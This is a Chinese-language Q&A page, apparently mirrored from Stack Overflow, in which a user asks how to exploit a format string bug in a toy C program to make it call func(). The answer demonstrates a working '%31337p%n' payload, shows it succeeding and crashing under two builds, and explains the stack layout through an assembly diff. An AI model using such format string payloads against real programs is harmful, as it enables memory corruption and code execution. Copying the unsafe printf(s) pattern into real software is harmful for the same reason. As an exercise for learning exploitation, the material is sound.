-->

在格式化字符串攻击(Format string attack in printf)

2019-07-18 15:43发布

#include <stdio.h>
int main()
{
    char s[200]
    int a=123;
    int b=&a;
    scanf("%50s",s);
    printf(s);

    if (a==31337)
        func();
}

其目的是执行格式化字符串攻击 - 通过输入一个字符串来执行FUNC()。 我试图用%N覆盖变量,但我来的结论是,它是在不显示b变量提供不可能的,我不知道怎么样。 任何暗示将不胜感激。 对不起,我的英语不好。

Answer 1:

让我们尝试使用和不使用打印:

$ cat > f.c << \EOF
#include <stdio.h>
void func() {
    fprintf(stderr, "func\n");
}

int main()
{
    char s[200];
    int a=123;
    int b=&a;
    #ifdef FIXER
    fprintf(stderr, "%p\n", b); /* make "b" actually used somewhere */
    #endif
    scanf("%50s",s);
    printf(s);

    if (a==31337)
        func();
}
EOF

$ gcc --version | head -n 1; uname -m
gcc (Debian 4.7.2-5) 4.7.2
i686

$ gcc -S  f.c -o doesnt_work.s
f.c: In function 'main':
f.c:10:11: warning: initialization makes integer from pointer without a cast [enabled by default]
$ gcc -S -DFIXER  f.c -o does_work.s
f.c: In function 'main':
f.c:10:11: warning: initialization makes integer from pointer without a cast [enabled by default]

$ gcc doesnt_work.s -o doesnt_work; gcc does_work.s -o does_work


$ echo '%31337p%n' | ./does_work > /dev/null
0xbfe75970
func

$ echo '%31337p%n' | ./doesnt_work > /dev/null
Segmentation fault

如问题所说,我们清楚地看到,没有打印b第一个失败。

让我们比较一下里面是什么hapenning:

$ diff -ur does_work.s doesnt_work.s
--- does_work.s 2013-02-06 03:17:06.000000000 +0300
+++ doesnt_work.s   2013-02-06 03:16:52.000000000 +0300
@@ -29,8 +29,6 @@
    .size   func, .-func
    .section    .rodata
 .LC1:
-   .string "%p\n"
-.LC2:
    .string "%50s"
    .text
    .globl  main
@@ -48,15 +46,9 @@
    movl    $123, 16(%esp)
    leal    16(%esp), %eax
    movl    %eax, 220(%esp)
-   movl    stderr, %eax
-   movl    220(%esp), %edx    /* !!! */
-   movl    %edx, 8(%esp)      /* !!! */
-   movl    $.LC1, 4(%esp)
-   movl    %eax, (%esp)
-   call    fprintf
    leal    20(%esp), %eax
    movl    %eax, 4(%esp)
-   movl    $.LC2, (%esp)
+   movl    $.LC1, (%esp)
    call    __isoc99_scanf
    leal    20(%esp), %eax
    movl    %eax, (%esp)

在标线,我们看到“得到的值b为%EDX,然后把它作为堆栈3'rd的说法。”

如printf和scanf使用的cdecl调用约定,堆栈或多或少地保持同整个调用,使第三个参数为弱势仍然可用printf的设置。

当我们不打印b ,它不进入堆栈容易获得为我们注入格式字符串。

有了足够%p%p%p%p%p%p...我们应该能够达到我们的实际ab无论如何,但50个输入字符限制是我们的方式获得。



文章来源: Format string attack in printf